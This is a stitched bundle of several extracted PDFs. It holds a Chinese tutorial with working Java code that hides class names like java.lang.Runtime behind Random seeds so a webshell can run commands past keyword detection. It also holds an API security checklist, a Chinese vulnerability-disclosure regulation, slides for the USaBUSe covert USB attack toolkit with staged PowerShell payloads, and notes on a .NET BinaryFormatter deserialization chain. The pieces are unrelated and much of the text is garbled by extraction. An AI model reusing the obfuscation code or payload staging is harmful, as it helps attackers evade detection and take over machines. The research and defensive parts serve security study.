这⾥我们做个⼩实验,写⼀段代码,运⾏⼀下,你就会恍然⼤悟说的是啥了
Java
复制代码
// 随机数固定结果测试
package Test2;
import java.util.Random;
public class Test2 {
public static void main(String[] args) {
randomString(-229985452);
System.out.println("--------------");
randomString(-229985452);
}
private static void randomString(int i) {
Random ran = new Random(i);
System.out.println(ran.nextInt());
System.out.println(ran.nextInt());
System.out.println(ran.nextInt());
System.out.println(ran.nextInt());
System.out.println(ran.nextInt());
}
}
// 运⾏结果
-755142161
-1073255141
-369383326
1592674620
-1524828502
--------------
-755142161
-1073255141
-369383326
1592674620
-1524828502
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
7
可以发现,我这边在种⼦值(seed)⼀致的情况下,运⾏⼆次的结果返回都是⼀致的
当然读者也可以试试运⾏,你的结果⼀定也是会和我⼀致的
也就是说在使⽤ java.util.Random 时,如果指定的种⼦值(seed)是相同的
那么他们⽣成并返回的其实是看起来是随机的固定数字
8
⽽且我们都知道 java.util.Random 本身就是⼀个伪随机算法
⽽当使⽤特定的种⼦值(seed)构建 java.util.Random 的实例时,那就成了⼀个更加伪的伪随机算法了
这么说是因为如果能猜测出,种⼦值(seed)或是种⼦值(seed)泄漏了,那么理论上就可以推测出随机数⽣成
的结果
好了前⾯逼逼那么多,现在也应该知道 java.util.Random 中指定种⼦值(seed)的关键了
现在让读者们,随我在回去看看问题,应该就可以看出来是为啥了
主要看循环⾥⾯的代码即可
先了解个基础的⼩知识,带参的 nextInt(int x) 会⽣成⼀个范围在 0~x(不包含x) 内的任意正整数
现在看 int k = ran.nextInt(27); 这句话,这表示 k 这个变量返回的值⼀定是 [0,26] 内的⼀
个正整数
if (k == 0) 的意思就是说,如果 k 这个变量,返回 0 就退出循环,这个没啥⼦好说的
在进⾏下⼀步之前,打印看看 int k = ran.nextInt(27); 具体会返回什么
0x02.2 回看问题
9
10
有个印象即可,⽆需特别在意
在看个基础的⼩知识, Java 中的单引号表示字符⼀般是 char 类型
现在看 (char) ('`' + k) 其中 '`' 是个 char 类型,看到 char + int 条件反射的想到 ASC
II 码
⽽且 '`' 的 ASCII 码是 96
并且 k 返回的是 [0,26] 内的⼀个正整数
因此 (char) ('`' + k) 这个代码的范围就是 [96+1,96+26]
去除返回值为 0 的,最终只需要对照着 ASCII 码表,就能看出是对其的那些字⺟了
Plain Text
复制代码
// int k = ran.nextInt(27);两个种⼦值(seed)的返回结果
----------------
种⼦值(seed): -229985452
返回值:8
返回值:5
返回值:12
返回值:12
返回值:15
返回值:0
----------------
种⼦值(seed): -147909649
返回值:23
返回值:15
返回值:18
返回值:12
返回值:4
返回值:0
----------------
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
11
到这⾥,对于为什么这⼀段谜⼀样的代码能输出“hello world”,我们已经了然于胸了
看穿了以后,也就是个⼩把戏罢了
然后我就开始想这个东⻄如果拿来写⻢⼦,⽤于关键字混淆什么的,那不是会很棒?
于是就开始思考如何改造最前⾯的demo,让它啥⼦单词都能打出来,因为现在这个代码只能输出“hello
world”
所以当务之急是找或写⼀个可以把字符串变成种⼦值(seed)的函数
当然我这么懒,所以我选择了找,然后还真被我找到了
0x03 思考
Plain Text
复制代码
96 + 8 = 104 -> h
96 + 5 =101 -> e
96 + 12 = 108 -> l
96 + 12 = 108 -> l
96 + 15 = 111 -> o
96 + 23 = 119 -> w
96 + 15 = 111 -> o
96 + 18 = 114 -> r
96 + 12 = 108 -> l
96 + 4 = 100 -> d
1
2
3
4
5
6
7
8
9
10
12
拷⻉⼀下,本地试试
13
很好,但是还差点,因为它只能跑 a-z ,这可不太⾏啊
因为我们写⻢的时候,各种特殊符号之类的,可是都要有的,所以还是需要⼀个⼩⼩的改动
14
Java
复制代码
// 最终改动完成的代码
// 注意: 种⼦⽣成的时间,会因为代码的⻓度与复杂度的增加⽽增加
import java.util.*;
import java.util.stream.Collectors;
public class Test3 {
public static void main(String[] args) {
long start = System.currentTimeMillis();
long[] seedList = generateSeedList("java.lang.Runtime");
for (long seed : seedList) {
System.out.println("种⼦值(seed): " + seed);
System.out.println("对应字符串: " +
seedConversionString(seed));
System.out.println("------");
}
System.out.println("种⼦⽣成花费时间: " + (double)
(System.currentTimeMillis() - start) / 1000 + "秒");
String data = seedListConversionString(seedList);
System.out.println("种⼦列表转换结果: " + data);
}
/**
* 测试使⽤
* 输出所有字符的种⼦与解析结果
*/
public static void test() {
String str = " !\"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";
String[] strs = str.split("");
for (String s : strs) {
System.out.println("----");
long dataSeed = generateSeed(s);
System.out.println("种⼦值(seed): " + dataSeed);
System.out.println("对应字符串: " +
seedConversionString(dataSeed));
System.out.println("-----");
}
}
/**
* 功能: 输⼊字符串获取种⼦数组
*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
15
* @param goal 要转为种⼦的字符串
* @return
*/
public static long[] generateSeedList(String goal) {
List<String> dataSourceList = Arrays.asList(goal.split(""));
int groupSize = (int) Math.ceil((double) goal.length() / 3);
List<Long> seedList = new ArrayList<>();
for (List<String> stringList : listChunkSplit(dataSourceList,
groupSize)) {
long seed =
generateSeed(stringList.stream().collect(Collectors.joining("")));
seedList.add(seed);
}
return seedList.stream().mapToLong(t -> t).toArray();
}
/**
* 功能: 输⼊字符串获取种⼦
* 注: 单词越⻓,需要查找的时间就越⻓,个⼈建议1-3个字符为⼀个种⼦,可以基本可以⽆
感知的快速⽣成种⼦
*
* @param goal 要转为种⼦的字符串
* @return
*/
public static long generateSeed(String goal) {
String str = " !\"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";
for (String s : goal.split("")) {
if (!str.contains(s)) {
throw new RuntimeException(String.format("%s 该字符,不是符
合条件的字符,请修改", s));
}
}
char[] input = goal.toCharArray();
char[] pool = new char[input.length];
label:
for (long seed = Integer.MIN_VALUE; seed < Integer.MAX_VALUE;
seed++) {
Random random = new Random(seed);
for (int i = 0; i < input.length; i++) {
pool[i] = (char) (31 + random.nextInt(96));
}
if (random.nextInt(96) == 0) {
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
16
for (int i = 0; i < input.length; i++) {
if (input[i] != pool[i]) {
continue label;
}
}
return seed;
}
}
throw new NoSuchElementException("对不起该字符串找不到对应的种⼦");
}
/**
* 功能: 将种⼦数组转换字符串
*
* @param is 种⼦数组
* @return
*/
public static String seedListConversionString(long[] is) {
StringBuilder dataSource = new StringBuilder();
for (long seed : is) {
dataSource.append(seedConversionString(seed));
}
return dataSource.toString();
}
/**
* 功能: 将种⼦转换字符串
*
* @param i 种⼦
* @return
*/
public static String seedConversionString(long i) {
Random ran = new Random(i);
StringBuilder sb = new StringBuilder();
while (true) {
int k = ran.nextInt(96);
if (k == 0) {
break;
}
sb.append((char) (31 + k));
}
return sb.toString();
}
/**
* 列表块分割函数
* 功能: 把列表按照size分割成指定的list快返回
* 例⼦1:
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
17
* a = [1, 2, 3, 4, 5, 6, 7, 8, 9]
* listChunkSplit(a, 2)
* 返回: [[1, 2, 3, 4, 5], [6, 7, 8, 9]]
* 例⼦2:
* a = [1, 2, 3, 4, 5, 6, 7, 8, 9]
* listChunkSplit(a, 10)
* 返回: [[1], [2], [3], [4], [5], [6], [7], [8], [9]]
*
* @param dataSource 数据源
* @param groupSize ⼀个整数, 规定最多分成⼏个list
* @return List<List < String>>
*/
public static List<List<String>> listChunkSplit(List<String>
dataSource, Integer groupSize) {
List<List<String>> result = new ArrayList<>();
if (dataSource.size() == 0 || groupSize == 0) {
return result;
}
// 偏移量
int offset = 0;
// 计算 商
int number = dataSource.size() / groupSize;
// 计算 余数
int remainder = dataSource.size() % groupSize;
for (int i = 0; i < groupSize; i++) {
List<String> value = null;
if (remainder > 0) {
value = dataSource.subList(i * number + offset, (i + 1)
* number + offset + 1);
remainder--;
offset++;
} else {
value = dataSource.subList(i * number + offset, (i + 1)
* number + offset);
}
if (value.size() == 0) {
break;
}
result.add(value);
}
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
18
有了上⾯的代码以后,我们就可以写⼀个最最简单的混淆⻢⼦了
return result;
}
}
// 运⾏结果
种⼦值(seed): -2080435608
对应字符串: jav
------
种⼦值(seed): -2060785532
对应字符串: a.l
------
种⼦值(seed): -2147149194
对应字符串: ang
------
种⼦值(seed): -2107467938
对应字符串: .Ru
------
种⼦值(seed): -1949527326
对应字符串: nti
------
种⼦值(seed): -2146859157
对应字符串: me
------
种⼦⽣成花费时间: 21.273秒
种⼦列表转换结果: java.lang.Runtime
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
19
Java
复制代码
// 这是我能想到的最最最简单的⽤涂了
// 或是拿来对哥斯拉的流量加密感觉也是可以的
// 其它的⾃⼰发挥想象吧
import org.apache.commons.io.IOUtils;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Random;
public class ExecCmdTest {
public static void main(String[] args) {
try {
String cmd = "whoami";
// java.lang.Runtime 的 种⼦
// -2080435608 -> jav
// -2060785532 -> a.l
// -2147149194 -> ang
// -2107467938 -> Ru
// -1949527326 -> nti
// -2146859157 -> me
long[] seedList = {-2080435608, -2060785532, -2147149194,
-2107467938, -1949527326, -2146859157};
String runtimePath = seedListConversionString(seedList);
// 获取Runtime类对象
Class runtimeClass = Class.forName(runtimePath);
// 获取构造⽅法
Constructor runtimeConstructor =
runtimeClass.getDeclaredConstructor();
runtimeConstructor.setAccessible(true);
// 创建Runtime类实例 相当于 Runtime r = new Runtime();
Object runtimeInstance = runtimeConstructor.newInstance();
// 获取Runtime的exec(String cmd)⽅法
Method runtimeMethod = runtimeClass.getMethod("exec",
String.class);
// 调⽤exec⽅法 等于 r.exec(cmd); cmd参数输⼊要执⾏的命令
Process p = (Process) runtimeMethod.invoke(runtimeInstance,
cmd);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
20
// 获取命令执⾏结果
InputStream results = p.getInputStream();
// 输出命令执⾏结果
System.out.println(IOUtils.toString(results, "UTF-8"));
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* 功能: 将种⼦数组转换字符串
*
* @param is 种⼦数组
* @return
*/
public static String seedListConversionString(long[] is) {
StringBuilder dataSource = new StringBuilder();
for (long seed : is) {
dataSource.append(seedConversionString(seed));
}
return dataSource.toString();
}
/**
* 功能: 将种⼦转换字符串
*
* @param i 种⼦
* @return
*/
public static String seedConversionString(long i) {
Random ran = new Random(i);
StringBuilder sb = new StringBuilder();
while (true) {
int k = ran.nextInt(96);
if (k == 0) {
break;
}
sb.append((char) (31 + k));
}
return sb.toString();
}
}
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
21
有关 ASCII 码表的内容可以看这⼀篇⽂章
https://www.yuque.com/pmiaowu/ppx2er/kfvuhv
⾥⾯详细记录了ASCII码对应字符
偶尔能看看猴戏还是挺有意思的说
0x04 杂项
0x05 总结 | pdf |
API接口安全checklist
身份认证
不要使用
，请使用标准的认证协议（如
，
）。
Basic Auth
JWT
OAuth
不要重新实现
、
和
，请使用标准库。
Authentication
token generating
password storing
限制密码错误尝试次数，并且增加账号冻结功能。
加密所有的敏感数据。
JWT（JSON Web Token）
使用随机复杂的密钥（
）以增加暴力破解的难度。
JWT Secret
不要在请求体中直接提取数据，要对数据进行加密（
或
）。
HS256
RS256
使 token 的过期时间尽量的短（
，
）。
TTL
RTTL
不要在 JWT 的请求体中存放敏感数据，因为它是
。
可解码的
OAuth 授权或认证协议
始终在后台验证
，只允许白名单的 URL。
redirect_uri
始终在授权时使用有效期较短的授权码（code）而不是令牌（access_token）（不允许
）。
response_type=token
使用随机哈希数的
参数来防止跨站请求伪造（CSRF）。
state
对不同的应用分别定义默认的作用域和各自有效的作用域参数。
访问
限制流量来防止 DDoS 攻击和暴力攻击。
在服务端使用 HTTPS 协议来防止 MITM （中间人攻击）。
使用
协议防止 SSL Strip 攻击。
HSTS
输入
使用与操作相符的 HTTP 操作函数，
，
，
以及
，如果请求的方法不适用于请求的资源则返回
。
GET)
POST
PUT/
DELETE
405 Method Not Allowed
在请求头中的
字段使用内容验证来只允许支持的格式（如
，
等等）并在不满足条件的时候
content-type
application/xml
application/json
返回
。
406 Not Acceptable
验证
中申明的编码和你收到正文编码一致（如
，
，
content-type
application/x-www-form-urlencoded
multipart/form-data
applica
等等）。
tion/json
验证用户输入来避免一些普通的易受攻击缺陷（如
，
，等等）。
XSS
SQL-
不要在 URL 中使用任何敏感的数据（
，
，
，or
），而是使用标准的认证请求头。
credentials
Passwords
security tokens
API keys
使用一个 API Gateway 服务来启用缓存、限制访问速率（如
，
，
）以及动态地部署 APIs
Quota
Spike Arrest
Concurrent Rate Limit
resources。
处理
检查是否所有的接口都包含必要都身份认证，以避免被破坏了的认证体系。
避免使用特有的资源 id。使用
替代
。
/me/orders
/user/654321/orders
使用
代替自增长的 id。
UUID
如果需要解析 XML 文件，确保实体解析（entity parsing）是关闭的以避免
攻击。
XXE
如果需要解析 XML 文件，确保实体扩展（entity expansion）是关闭的以避免通过指数实体扩展攻击实现的
。
Billion Laughs/XML bomb
在文件上传中使用 CDN。
如果数据处理量很大，尽可能使用队列或者 Workers 在后台处理来避免阻塞请求，从而快速响应客户端。
不要忘了把 DEBUG 模式关掉。
输出
增加请求返回头
。
X-Content-Type-Options: nosniff
增加请求返回头
。
X-Frame-Options: deny
增加请求返回头
。
Content-Security-Policy: default-src 'none'
删除请求返回中的指纹头 -
，
，
等等。
X-Powered-By
Server
X-AspNet-Version
在响应中遵循请求的
，如果你的请求类型是
那么你返回的
就是
。
content-type
application/json
content-type
application/json
不要返回敏感的数据，如
，
，
。
credentials
Passwords
security tokens
给请求返回使用合理的 HTTP 响应代码。（如
，
，
，
等等）。
200 OK
400 Bad Request
401 Unauthorized
405 Method Not Allowed
持续集成和持续部署
使用单元测试以及集成测试的覆盖率来保障你的设计和实现。
引入代码审查流程，禁止私自合并代码。
在推送到生产环境之前确保服务的所有组件都用杀毒软件静态地扫描过，包括第三方库和其它依赖。
为部署设计一个回滚方案。 | pdf |
网络产品安全漏洞管理规定
第一条 为了规范网络产品安全漏洞发现、报告、修补和发布等行为，防范网络安全风险，根据《中华人
民共和国网络安全法》，制定本规定。
第二条 中华人民共和国境内的网络产品（含硬件、软件）提供者和网络运营者，以及从事网络产品安全
漏洞发现、收集、发布等活动的组织或者个人，应当遵守本规定。
第三条 国家互联网信息办公室负责统筹协调网络产品安全漏洞管理工作。工业和信息化部负责网络产品
安全漏洞综合管理，承担电信和互联网行业网络产品安全漏洞监督管理。公安部负责网络产品安全漏洞
监督管理，依法打击利用网络产品安全漏洞实施的违法犯罪活动。
有关主管部门加强跨部门协同配合，实现网络产品安全漏洞信息实时共享，对重大网络产品安全漏洞风
险开展联合评估和处置。
第四条 任何组织或者个人不得利用网络产品安全漏洞从事危害网络安全的活动，不得非法收集、出售、
发布网络产品安全漏洞信息；明知他人利用网络产品安全漏洞从事危害网络安全的活动的，不得为其提
供技术支持、广告推广、支付结算等帮助。
第五条 网络产品提供者、网络运营者和网络产品安全漏洞收集平台应当建立健全网络产品安全漏洞信息
接收渠道并保持畅通，留存网络产品安全漏洞信息接收日志不少于6个月。
第六条 鼓励相关组织和个人向网络产品提供者通报其产品存在的安全漏洞。
第七条 网络产品提供者应当履行下列网络产品安全漏洞管理义务，确保其产品安全漏洞得到及时修补和
合理发布，并指导支持产品用户采取防范措施：
（一）发现或者获知所提供网络产品存在安全漏洞后，应当立即采取措施并组织对安全漏洞进行验证，
评估安全漏洞的危害程度和影响范围；对属于其上游产品或者组件存在的安全漏洞，应当立即通知相关
产品提供者。
（二）应当在2日内向工业和信息化部网络安全威胁和漏洞信息共享平台报送相关漏洞信息。报送内容应
当包括存在网络产品安全漏洞的产品名称、型号、版本以及漏洞的技术特点、危害和影响范围等。
（三）应当及时组织对网络产品安全漏洞进行修补，对于需要产品用户（含下游厂商）采取软件、固件
升级等措施的，应当及时将网络产品安全漏洞风险及修补方式告知可能受影响的产品用户，并提供必要
的技术支持。
工业和信息化部网络安全威胁和漏洞信息共享平台同步向国家网络与信息安全信息通报中心、国家计算
机网络应急技术处理协调中心通报相关漏洞信息。
鼓励网络产品提供者建立所提供网络产品安全漏洞奖励机制，对发现并通报所提供网络产品安全漏洞的
组织或者个人给予奖励。
第八条 网络运营者发现或者获知其网络、信息系统及其设备存在安全漏洞后，应当立即采取措施，及时
对安全漏洞进行验证并完成修补。
第九条 从事网络产品安全漏洞发现、收集的组织或者个人通过网络平台、媒体、会议、竞赛等方式向社
会发布网络产品安全漏洞信息的，应当遵循必要、真实、客观以及有利于防范网络安全风险的原则，并
遵守以下规定：
（一）不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息；认为有必要提前发布
的，应当与相关网络产品提供者共同评估协商，并向工业和信息化部、公安部报告，由工业和信息化
部、公安部组织评估后进行发布。
（二）不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况。
Author: L.N. / Date: 2021-08-30 Produced by AttackTeamFamily
No. 1 / 2 - Welcome to www.red-team.cn
（三）不得刻意夸大网络产品安全漏洞的危害和风险，不得利用网络产品安全漏洞信息实施恶意炒作或
者进行诈骗、敲诈勒索等违法犯罪活动。
（四）不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具。
（五）在发布网络产品安全漏洞时，应当同步发布修补或者防范措施。
（六）在国家举办重大活动期间，未经公安部同意，不得擅自发布网络产品安全漏洞信息。
（七）不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供。
（八）法律法规的其他相关规定。
第十条 任何组织或者个人设立的网络产品安全漏洞收集平台，应当向工业和信息化部备案。工业和信息
化部及时向公安部、国家互联网信息办公室通报相关漏洞收集平台，并对通过备案的漏洞收集平台予以
公布。
鼓励发现网络产品安全漏洞的组织或者个人向工业和信息化部网络安全威胁和漏洞信息共享平台、国家
网络与信息安全信息通报中心漏洞平台、国家计算机网络应急技术处理协调中心漏洞平台、中国信息安
全测评中心漏洞库报送网络产品安全漏洞信息。
第十一条 从事网络产品安全漏洞发现、收集的组织应当加强内部管理，采取措施防范网络产品安全漏洞
信息泄露和违规发布。
第十二条 网络产品提供者未按本规定采取网络产品安全漏洞补救或者报告措施的，由工业和信息化部、
公安部依据各自职责依法处理；构成《中华人民共和国网络安全法》第六十条规定情形的，依照该规定
予以处罚。
第十三条 网络运营者未按本规定采取网络产品安全漏洞修补或者防范措施的，由有关主管部门依法处
理；构成《中华人民共和国网络安全法》第五十九条规定情形的，依照该规定予以处罚。
第十四条 违反本规定收集、发布网络产品安全漏洞信息的，由工业和信息化部、公安部依据各自职责依
法处理；构成《中华人民共和国网络安全法》第六十二条规定情形的，依照该规定予以处罚。
第十五条 利用网络产品安全漏洞从事危害网络安全活动，或者为他人利用网络产品安全漏洞从事危害网
络安全的活动提供技术支持的，由公安机关依法处理；构成《中华人民共和国网络安全法》第六十三条
规定情形的，依照该规定予以处罚；构成犯罪的，依法追究刑事责任。
第十六条 本规定自2021年9月1日起施行。
http://www.gov.cn/zhengce/zhengceku/2021-07/14/content_5624965.htm
Author: L.N. / Date: 2021-08-30 Produced by AttackTeamFamily
No. 2 / 2 - Welcome to www.red-team.cn | pdf |
Universal*Serial*
aBUSe
Rogan&Dawes&&&Dominic&White
[email protected]
Important*Note
• This&is&the&text8based&version&of&the&slides,&and¬&
the&version&we&plan&to&present.&We&wanted&to&give&
you&something&meaningful&to&read&through.
• The&toolset&will&be&released&on&our&github:
• https://github.com/sensepost/USaBUSe
• Details&of&the&talk,&latest&slides&and&code&will&be&
written&up&at&our&blog:
• https://sensepost.com/blog
Background&http://sneakyninja95.deviantart.com/art/Stored8Memories8535612391
Overview
In&this&talk,&we’ll&cover&some&novel&USB8level&attacks,&
that&can&provide&remote&command&and&control&of,&
even&air8gapped&machines,&with&a&minimal&forensic&
footprint,&and&release&an&open8source&toolset&using&
freely&available&hardware.
The*Meta*Point
• It’s&hard&to&defend&at&the&best&of×.
• Doing&so&well,&requires&a&realistic&threat&model.
• Too&often,&that&threat&model&is&driven&by&vendor&
marketing&rather&than&real&attacks.
• For&example,&advanced&attackers&have&always&existed,&
it’s¬&clear&“APT”&would&have&been&a&thing,&or&as&much&
of&a&thing&without&the&significant&vendor&marketing&
spend&put&behind&it.
• Penetration&testers&need&to&emulate&real&threats&or&
they’re&just&wasting&your&time
Why*we’re*highlighting*this*issue
• We’ve&seen&real&attackers&doing&it,&but&defenses&
haven’t&adapted.
• The&NSA’s&COTTONMOUTH&toolkit&showed&these&sorts&of&
USB&attacks
• Technically&unsophisticated&criminals&have&defrauded&
banks&using&simple&IP&KVMs
• If&your&apex&predators&and&low&level&bottom&feeders&
are&using&the&same&sort&of&attacks;&physical&
bypasses&of&software/network&security&via&
hardware,&then&you&best&pay&attention.
• Plus,&it&makes&sense,&software&is&getting&harder&to&
exploit&and&changes&more&rapidly&than&hardware.
But*we*know*about*these*attacks?
• Do&we?&Because&the&defenses&in&this&space&seem&to&be&poor&
in&our&experience&at&clients.
• Hardware&keyloggers have&been&around&for&decades,&and&
are&still&near&impossible&to&practically&detect&in&software.
• Most&organisations seem&to&think&USB&is&about&malware&or&
tethering/wifi and&rely&on&protections&elsewhere&in&the&
stack:
• malware&deployment&– proxy
• malware&on&device&– AV/endpoint
• comms from&device&– FireEye&and&friends
• But&there’s&little&defense&specific&to&malicious&devices,&
something&the&USB&standard&makes&very&easy&to&implement.
• Finally,&there&wasn’t&an&end8to8end&implementation&of&this&
attack&when&we&started.&
Prior*Work
• This&work&stands&on&the&shoulders&of&giants.&While&
numerous&researchers&have&produced&USB&related&
work,&prior&work&specific&to&this&project&includes:
• Travis&Goodspeed’s&Facedancer2&
http://goodfet.sourceforge.net/hardware/facedancer21/
• Michael&Ossman &&Dominic&Spill’s&NSA&Playset,&
TURNIPSCHOOL&http://www.nsaplayset.org/turnipschool
• Samy Kamkar’s USBDriveBy http://samy.pl/usbdriveby/
• USB&Rubber&Ducky&Wiki&http://usbrubberducky.com/
• Adrian&Crenshaw&Plug&&&Pray;&Malicious&USB&Devices&
http://www.irongeek.com/i.php?page=security/plug8and8
prey8malicious8usb8devices &&his&PHUKD&
http://www.irongeek.com/i.php?page=security/programmabl
e8hid8usb8keystroke8dongle
• Seunghun Han’s&Iron8HID&https://github.com/kkamagui/IRON8
HID (released&after&our&Defcon CFP&submission)
Objectives*of*our*Work
• Build&and&end8to8end&attack&that’s&usable&in&a&pentest
• Allow&it&to&be&remotely&triggered&and&updated
• Work&without&requiring&victim&interaction
• Exclude&typical&USB&malware&vectors&(for&which&typical&
defenses&exist)&e.g.&malware&via&mass&storage
• Don’t&sent&any&traffic&via&the&victim’s&network
• Avoids&environmental&complexities&(firewalls,&etc)
• Avoids&detection&(IDS)
• Create&a&stealthy&bi8direction&pipe&over&innocuous&USB&
devices&(something&forensic&tools&are&unlikely&to&spot)
• Minimise forensic&artefacts&(e.g.&execute&in&memory&
where&possible)
So*what’s*different/new?
• Simpler&networking;&TCP/IP&interface&over&WiFi
• TURNIPSCHOOL&uses&custom&RF&protocol
• IRON8HID&uses&Bluetooth
• More&complete&implementation
• TURNIPSCHOOL&never&completed&firmware&for&cc1111&against&host
• Numerous&small&improvements&over&IRON8HID&
• Enables&reuse&of&existing&tools
• Implements&a&VNC&clients&for&keyboard&and&mouse&input
• Compatible&with&metasploit generated&payloads
• More&stealthy
• No&use&of&mass&storage&devices&to&load&malware
• No&use&of&host’s&network&i.e.&works&on&airgapped hosts&too
• An&end8to8end&attack
• From&plug&in&to&remote&network&&&command&access
• Open&Hardware
• While&it&works&on&available&hardware,&we’re&releasing&our&open&hardware&design
• Minimal&custom&bootstrap
Initial*Hardware
• April&Brother&Cactus&Micro&Rev2
• Atmega32u4&on&one&side&8 host
• ESP8266&WiFi on&the&other&– our&exfil
• Compact&enough&to&be&a&flash&drive
• Advantages
• Cheap&&&available
• AVR&&&ESP&gives&us&host&side&and&wifi side
• Disadvantages
• No&I2C
• No&USB&A
• Can’t&program&ESP&directly
• Minimal&storage
• Can’t&reset&when&in&a&case
• LED¬&controllable&from&Atmega
• Not&open&hardware
New*Hardware
• Very&similar&to&the&Cactus&Micro,&but&with:
• USB&A&male&connector!
• Micro&SD&Card&slot&for&storage
• I2C&connected&with&pull&up&resistor
• Programmable&LED
• Hall8effect&switch&to&trigger&reset&when&in&case
Firmware
• Lightweight&USB&Framework&for&AVR&(LUFA)
• Running&on&the&atmega32u4
• Implements&the&various&USB&interfaces&seen&by&the&
victim
• ESP8Link&(UART&to&TCP&firmware)
• Running&on&the&ESP8266
• Provides&Wifi to&device,&connects&to&attacker’s&AP
• Added&a&VNC&implementation&to&receive&key&&&mouse&
events&to&pass&to&the&host
• Added&a&multiplexing&protocol&over&the&UART&to&allow&
communication&between&various&functions
USB*Implementation
• Traditional&Keyboard&and&Mouse
• Emits&events&received&via&VNC
• Can&programmably emit&events&ala&RubberDucky
• Used&to&stage&initial&payload&on&host
• Used&to&prevent&screensaver&engaging
• Generic&HID
• Allows&bidirectional&packet&transfers
• 64&byte&packets&
• 1000&per&second&(in&theory)
Alternate*USB*Implementations
• For&stealthier,&more&innocuous&bi8directional&
comms
• Text8only&printer
• “Prompt8less”&driver&installation&in&Windows
• Sound&card
• Gives&us&audio&out&and&mic&in
• Problems:&Might&interfere&with&primary&audio&device
• Depends&on&default&permissions
Targets
• Targeting&Windows&PCs&at&the&moment,&plans&to&
expand&to&OSX&then&Linux&hosts
• Keyboard/Mouse&is&generic
• Payload&is&platform&dependent
• Powershell
• Available&on&most&Windows&workstations
• C#&API&available
• P/Invoke&CreateFile,&ShowWindowAsync
• Staged&approach
• Can&avoid&touching&disk&for&the&most&part
• Excludes&P/Invoke8d&function&definitions&above!
Payload*Stages
• Stage&1&(PowerShell&typed&via&the&keyboard)
• Optimised for&size
• Open&device
• Read&Stage&2
• Clear8History
• Hide!
• Stage&2&(PowerShell&read&from&device)
• Arbitrary&complexity
Stage*2*payload*examples
• CMD.exe
• TCP&Listener/Relay/Proxy
• Enables&existing&network8based&exploits
• Localhost8only&avoids&firewalls/alerts
• Metasploit
• Currently&being&redirected&through&the&proxy
• Can&use&arbitrary&msf payloads;&meterpreter,&cmd,&vnc etc.
• Purpose8built&payloads
• Knows&how&to&access&the&USB&device&directly
• Future&development&for&meterpreter
Difficulties*experienced
• Programming&errors&on&the&ESP8266&result&in&
reboots,&any&debug&logs&disappear!
• Flow&control
• TCP&is&much%faster&than&the&UART,&and&ESP8266&triggers&
watchdog&to&reboot&if&you&take&too&long&to&process&the&
data.&We&had&to&rewrite&the&ESP8Link&TCP&handlers&to&
support&“resume8able”&processing&of&data
• UART&is&faster&than&the&Keyboard
• HID&interrupt&transfers&occur®ardless&of&a&read()
• Disappearing&UART&interrupts
• Data&received&by&the&ESP8266&would&get&stuck&in&the&
UART&FIFO
Demonstrations
• We’ll&provide&a&demo&of&the&toolset&in&the&talk.
• The&software&will&be&released&at&Defcon at:
• https://github.com/sensepost/USaBUSe
Contacts
• Rogan&Dawes
• [email protected]
• @rogandawes
• Dominic&White
• [email protected]
• @singe | pdf |
0x01
PEID
dll
dll
getshell
0x02
C#
https://xz.aliyun.com/t/9168
https://xz.aliyun.com/t/9591
https://xz.aliyun.com/t/9593
https://xz.aliyun.com/t/9592
https://xz.aliyun.com/t/9594
https://xz.aliyun.com/t/9595
https://xz.aliyun.com/t/9597
https://xz.aliyun.com/t/9598
https://xz.aliyun.com/t/9599
https://xz.aliyun.com/t/9600
https://xz.aliyun.com/t/9601
https://xz.aliyun.com/t/9602
https://xz.aliyun.com/t/9603
https://xz.aliyun.com/t/9604
https://xz.aliyun.com/t/9605
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
https://xz.aliyun.com/u/12258
1
OnLoginEvent
UserInfo SendLoginMsg
UserInfo MsgSysInfo zip GetBuffer Login
json
zip dh Init
YYSharpZip GetBuffer GetZipBuffer BinaryFormatter
EncryptData
this.btnLogin_Click --> this.OnLoginEvent() --> this.SendLoginMsg() --> this.zip.GetBuffer() --> this.ZipData() --> this.GetZipBu
ffer() --> new BinaryFormatter().Serialize() --> this.CompressToByte() --> new YYEncrypt().EncryptData() --> this.dh.Login()
1
XXX.MsgReceive --> new YYEncrypt().DecryptData-->this.DeCompressToBytes --> new BinaryFormatter().Deserialize() --> this.msgSysIn
fo.getLoginInfo() --> XXX
1
Ysoserial.NET --> Gadget serialize data --> this.zip.GetBuffer --> this.ZipData --> this.GetZipBuffer --> new BinaryFormatter().S
erialize() --> this.CompressToByte --> new YYEncrypt().EncryptData --> Send To Tartget Server --> XXX.MsgReceive --> new YYEncryp
